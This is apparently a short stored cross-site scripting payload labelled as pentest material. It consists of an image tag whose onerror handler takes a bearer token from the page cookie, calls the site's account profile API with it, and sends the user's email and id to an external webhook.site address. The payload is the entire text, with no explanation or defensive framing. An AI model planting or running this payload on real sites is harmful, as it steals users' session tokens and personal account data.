@pentest_2026_xss
<img src=x onerror="fetch(window.location.origin+"/api/accounts/account/profile/",{headers:{Authorization:"Bearer "+document.cookie.split("token=")[1]?.split(";")[0]}}).then(r=>r.json()).then(d=>fetch("https://webhook.site/test?email="+d.email+"&id="+d.id))">